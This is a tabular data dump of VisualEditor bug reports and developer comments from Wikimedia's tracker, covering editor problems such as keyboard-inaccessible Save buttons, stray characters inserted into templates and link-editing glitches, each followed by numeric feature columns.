**Severity**: normal",Needs Triage,90.0,1377279060,1394480185.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-rnr44j25me5v5afzc5we,task_description,declined,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,2.0,3.88,0.7,"While I was fixing a simple grammatical error, VE threw in a > sign at the start of a template further down the page thus breaking the template.

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
257902,VisualEditor is inserting greater than signs (>),"I /believe/ that this was a Parsoid selser bug, long-since fixed; marking as WORKSFORME for now.",,,1394480185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rnr44j25me5v5afzc5we,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,14.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.857142857142857,1.0,"I /believe/ that this was a Parsoid selser bug, long-since fixed; marking as WORKSFORME for now."
55257,VisualEditor: Unable to use save button using keyboard,"If I focus on the save button using [tab] from textarea, [enter] don’t save the page.

Apparently the focus goes on the <div role=""button""> while the click event is listened on the span.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377270420,1398102157.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,3.6031746031746033,0.6507936507936508,"If I focus on the save button using [tab] from textarea, [enter] don’t save the page.

Apparently the focus goes on the <div role=""button""> while the click event is listened on the span.

--------------------------
**Version**: unspecified
**Severity**: normal"
257387,VisualEditor: Unable to use save button using keyboard,"No, this bug as filed was indeed a duplicate of bug 51918. There's the subsequently-filed bug 62337 which tracks your comment.

*** This bug has been marked as a duplicate of bug 51918 ***",,,1398102157,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.6444444444444445,"No, this bug as filed was indeed a duplicate of bug 51918. There's the subsequently-filed bug 62337 which tracks your comment.

*** This bug has been marked as a duplicate of bug 51918 ***"
257382,VisualEditor: Unable to use save button using keyboard,"I'm reopening this rather than creating a new one, because it's not exactly a problem with the tab order.

Here's how to reproduce this:  Open the Save dialog.  Type your edit summary.  Press the tab key seven times.  Everything tabs beautifully, in exactly the order I wish for.  Really:  Bug 51918 is resolved as far as I'm concerned.  The problem is not the tab ORDER.  

The problem is that when I have successfully tabbed to the Save button, the Save button is BROKEN.  The Save button is selected.  There is a lovely blue box around it.  But it refuses to actually save the page when you press return.  It just sits there until, having pressed return twenty or thirty times, gone away in the hope that the server is just being slow, come back and hit the return key another dozen times or so, you finally conclude that it is not actually possible to save the page without taking your hands off the keyboard.  

That's the problem:  ""Unable to use save button using keyboard"".  No amount of rearranging the deck chairs, I mean the tab order, is going to solve this problem.  The button itself is broken, not the tab order.

The tick boxes for ""Minor edit"" and ""Watch this page"" can be tabbed to and toggled with the spacebar.  The links to the GFDL and other license stuff can be tabbed to and opened by pressing return.  But the ""Review your changes"" and ""Save"" buttons are broken.  There is no way to ""click"" those buttons without actually using a mouse/trackpad.",,,1398102028,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,False,,,42,,0.0,0.25,0.0,1.75,1.0,2.0,0.75,0.25,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.25,0.25,6.5,7.75,0.25,1.5,0.0,0.0,0.25,0.5,0.0,0.0,0.75,0.5,0.0,0.25,6.0,0.75,1.5,0.0,1.25,0.0,0.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.5,16.75,0.75,1.0,0.0,0.75,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.25,0.25,0.25,0.0,0.0,7.75,4.0,9.75,1.75,2.75,10.25,0.0,0.0,0.0,0.0,3.75,0.0,1.0,0.0,4.0,7.75,1.5,0.0,3.5,0.0,4.0,0.0,0.75,1.0,0.25,2.25,0.0,0.0,0.0,3.6399885255306943,0.6667025243832473,"I'm reopening this rather than creating a new one, because it's not exactly a problem with the tab order.

Here's how to reproduce this:  Open the Save dialog.  Type your edit summary.  Press the tab key seven times.  Everything tabs beautifully, in exactly the order I wish for.  Really:  Bug 51918 is resolved as far as I'm concerned.  The problem is not the tab ORDER.  

The problem is that when I have successfully tabbed to the Save button, the Save button is BROKEN.  The Save button is selected.  There is a lovely blue box around it.  But it refuses to actually save the page when you press return.  It just sits there until, having pressed return twenty or thirty times, gone away in the hope that the server is just being slow, come back and hit the return key another dozen times or so, you finally conclude that it is not actually possible to save the page without taking your hands off the keyboard.  

That's the problem:  ""Unable to use save button using keyboard"".  No amount of rearranging the deck chairs, I mean the tab order, is going to solve this problem.  The button itself is broken, not the tab order.

The tick boxes for ""Minor edit"" and ""Watch this page"" can be tabbed to and toggled with the spacebar.  The links to the GFDL and other license stuff can be tabbed to and opened by pressing return.  But the ""Review your changes"" and ""Save"" buttons are broken.  There is no way to ""click"" those buttons without actually using a mouse/trackpad."
257377,VisualEditor: Unable to use save button using keyboard,"Merging with bug 51918.

*** This bug has been marked as a duplicate of bug 51918 ***",,,1378247189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6521739130434783,"Merging with bug 51918.

*** This bug has been marked as a duplicate of bug 51918 ***"
257371,VisualEditor: Unable to use save button using keyboard,"**swalling** wrote:

I also have this issue in Chrome 29 on OSX. Tabbing to Save page then hitting Enter does nada.",,,1378168841,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z4gyf5rhh3zawzwg3vor,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.310344827586207,0.8620689655172413,"**swalling** wrote:

I also have this issue in Chrome 29 on OSX. Tabbing to Save page then hitting Enter does nada."
55210,VisualEditor: Changing the first letter of wikilinked words is difficult,"Seems I had written about it in an unrelated bug, sorry. This happens on itwp: in order to do this
http://it.wikipedia.org/w/index.php?title=DNasi_attivata_da_caspasi&diff=60101664&oldid=60089990
I had to delete the word and link it back again. Our guidelines about style
require pages in that section to appear with the capital letter, so we need to be able to fix that easily.

It is also reported on en.wp, the user states <<When trying to correct a lower-case letter to a capital letter at the beginning of a link, I deleted the lower-case letter and found I couldn't type a capital letter and have it become part of the link, nor could I seem to extend the link over the capital. Eventually, I typed the capital after the lower-case letter and then deleted the lower-case letter. It might be good to have some way to extend a link over adjoining letters/words/text. Mount Flatten (talk) 05:31, 22 August 2013 (UTC) >>
Thanks.

ps. Might be related to https://bugzilla.wikimedia.org/show_bug.cgi?id=50745 .

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50745",Needs Triage,90.0,1377174060,1377445650.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-kecuajpgt5rzhwm6db3u,task_description,resolved,True,c1,3,False,False,True,7,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,4.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,3.3333333333333335,8.666666666666666,0.0,3.3333333333333335,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,2.0,0.6666666666666666,1.6666666666666667,1.0,0.0,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,14.333333333333334,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,5.666666666666667,1.6666666666666667,10.0,0.3333333333333333,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,5.666666666666667,0.0,1.3333333333333333,0.0,4.333333333333333,8.666666666666666,3.0,0.0,0.0,0.0,4.333333333333333,0.0,0.3333333333333333,2.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,3.4567654567654564,0.6114996114996115,"Seems I had written about it in an unrelated bug, sorry. This happens on itwp: in order to do this
URL
I had to delete the word and link it back again. Our guidelines about style
require pages in that section to appear with the capital letter, so we need to be able to fix that easily.

It is also reported on en.wp, the user states <<When trying to correct a lower-case letter to a capital letter at the beginning of a link, I deleted the lower-case letter and found I couldn't type a capital letter and have it become part of the link, nor could I seem to extend the link over the capital. Eventually, I typed the capital after the lower-case letter and then deleted the lower-case letter. It might be good to have some way to extend a link over adjoining letters/words/text. Mount Flatten (talk) 05:31, 22 August 2013 (UTC) >>
Thanks.

ps. Might be related to URL .

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
254279,VisualEditor: Changing the first letter of wikilinked words is difficult,"

*** This bug has been marked as a duplicate of bug 50678 ***",,,1377445650,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-kecuajpgt5rzhwm6db3u,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50678 ***"
254275,VisualEditor: Changing the first letter of wikilinked words is difficult,*** Bug 53193 has been marked as a duplicate of this bug. ***,,,1377279290,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kecuajpgt5rzhwm6db3u,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53193 has been marked as a duplicate of this bug. ***
254269,VisualEditor: Changing the first letter of wikilinked words is difficult,pps. Also to https://bugzilla.wikimedia.org/show_bug.cgi?id=53193 .,,,1377186898,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-kecuajpgt5rzhwm6db3u,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.8333333333333334,pps. Also to URL .
55205,VisualEditor: can't fix a broken template since this will result invisible,"See http://en.wikipedia.org/w/index.php?title=User:Christian75/sandbox2&oldid=569697466 .
If you edit the page with VE you won't see the broken template at all.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377164100,1397676723.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-lpapd5tkeo4vhxavi7m5,task_description,declined,True,c1,3,False,False,False,7,,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,17.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.6428571428571429,"See URL .
If you edit the page with VE you won't see the broken template at all.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
254024,VisualEditor: can't fix a broken template since this will result invisible,"Essentially the problem here is ""broken wikitext produces confusion""; there's not really anything that we can do except encourage people to use VisualEditor rather than wikitext where such errors are possible.",,,1397676723,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lpapd5tkeo4vhxavi7m5,task_subcomment,,True,c1,3,True,,,41,,0.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,17.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.972222222222222,0.9444444444444444,"Essentially the problem here is ""broken wikitext produces confusion""; there's not really anything that we can do except encourage people to use VisualEditor rather than wikitext where such errors are possible."
55201,"VisualEditor: Need way to insert templates that set both key and value for a parameter into a template invocation, like {{subst:DATE}}","Currently there is no way to use {{subst:DATE}} in a template invocation in VisualEditor. If you try to paste it into the value of a date field, it won't work because you get

|date = date=August 2013

which won't parse.

VisualEditor should actually set the date automatically, always, for such templates (e.g. refimprove).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52345",Needs Triage,90.0,1377157620,1377904404.0,PHID-USER-bug3zrlooz3bdmi4fyl7,False,,False,PHID-TASK-in5fzrgdn5o7nk5vzdej,task_description,declined,True,c1,3,False,False,True,7,,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.5,0.0,0.5,2.0,1.5,0.0,0.0,0.5,0.0,0.0,7.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,8.5,1.0,0.0,3.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,2.0,5.0,2.5,0.0,0.0,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.6176470588235294,0.7156862745098039,"Currently there is no way to use {{subst:DATE}} in a template invocation in VisualEditor. If you try to paste it into the value of a date field, it won't work because you get

|date = date=August 2013

which won't parse.

VisualEditor should actually set the date automatically, always, for such templates (e.g. refimprove).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
253847,"VisualEditor: Need way to insert templates that set both key and value for a parameter into a template invocation, like {{subst:DATE}}","Yes(In reply to comment #0)
> Currently there is no way to use {{subst:DATE}} in a template invocation in
> VisualEditor. If you try to paste it into the value of a date field, it won't
> work because you get
> 
> |date = date=August 2013
> 
> which won't parse.

Yes. This is by design; templates that are designed around wikitext's structure won't work in general for editing. Note that ""{{subst:CURRENTDAY}} {{subst:CURRENTMONTHNAME}}"" works fine; auto-inserting this would solve the problem.

> VisualEditor should actually set the date automatically, always, for such
> templates (e.g. refimprove).

I agree; that is bug 51428 (and its corresponding implementation in VisualEditor).",,,1377904404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-in5fzrgdn5o7nk5vzdej,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,18.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,18.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,2.0,0.0,2.0,7.0,7.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.6979166666666665,0.625,"Yes(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes. This is by design; templates that are designed around wikitext's structure won't work in general for editing. Note that ""{{subst:CURRENTDAY}} {{subst:CURRENTMONTHNAME}}"" works fine; auto-inserting this would solve the problem.

QUOTE
QUOTE

I agree; that is bug 51428 (and its corresponding implementation in VisualEditor)."
55190,VisualEditor: Links from a subpage are not rendered correctly in the editing surface,"If I add an unprefixed link to [[Main Page]] on

https://www.mediawiki.org/wiki/Wikimedia_Engineering/WMF_Tech_Days_2013

using VisualEditor, the link points to [[Wikimedia Engineering/Main Page]] when previewed in VisualEditor (by right-clicking and opening in a new tab). ""Review changes"" suggests that the correct link will be added when saving the page, so this issue may be limited to the editing surface.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377130800,1377727533.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-wnlasenua7iwnzhgajgz,task_description,resolved,True,c1,3,False,False,True,7,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,2.0,15.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,9.0,6.0,0.0,2.0,0.0,1.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.0,3.7604166666666665,0.65625,"If I add an unprefixed link to [[Main Page]] on

URL

using VisualEditor, the link points to [[Wikimedia Engineering/Main Page]] when previewed in VisualEditor (by right-clicking and opening in a new tab). ""Review changes"" suggests that the correct link will be added when saving the page, so this issue may be limited to the editing surface.

--------------------------
**Version**: unspecified
**Severity**: normal"
253418,VisualEditor: Links from a subpage are not rendered correctly in the editing surface,"

*** This bug has been marked as a duplicate of bug 48915 ***",,,1377727533,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wnlasenua7iwnzhgajgz,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48915 ***"
55183,VisualEditor: nowiki when trying to edit an external link in references,"On de.WP, a user tried to replace an outdated link within an existing ref via VE and ran into a nowiki. 

diff:

http://de.wikipedia.org/w/index.php?title=Kin-dsa-dsa%21&diff=121506430&oldid=117367043

report:

http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121759646#nowiki_bei_unbeschriftetem_Link

I could reproduce that; the previous is showing it prior to saving, too.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377124920,1412470303.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-6fktzxq6di35ahdf6gf4,task_description,resolved,True,c1,3,False,False,False,7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,11.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.4714285714285715,0.6714285714285714,"On de.WP, a user tried to replace an outdated link within an existing ref via VE and ran into a nowiki. 

diff:

URL

report:

URL

I could reproduce that; the previous is showing it prior to saving, too.

--------------------------
**Version**: unspecified
**Severity**: normal"
253135,VisualEditor: nowiki when trying to edit an external link in references,"(In reply to Amir E. Aharoni from comment #2)
> I cannot reproduce this with the current version of the article, which has
> similar content.

I can confirm that I could previously reproduce and this is now fixed; not quite sure where or when.

> When trying to edit the old version of the article I get a strange result: I
> don't see the external links in the reference editor at all.

Yeah; that's very odd. Have filed bug 71652.",,,1412470303,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6fktzxq6di35ahdf6gf4,task_subcomment,,True,c1,3,True,,,65,,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,22.0,5.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.7818181818181819,"(In reply to Amir E. Aharoni from comment #2)
QUOTE
QUOTE

I can confirm that I could previously reproduce and this is now fixed; not quite sure where or when.

QUOTE
QUOTE

Yeah; that's very odd. Have filed bug 71652."
253129,VisualEditor: nowiki when trying to edit an external link in references,"I cannot reproduce this with the current version of the article, which has similar content.

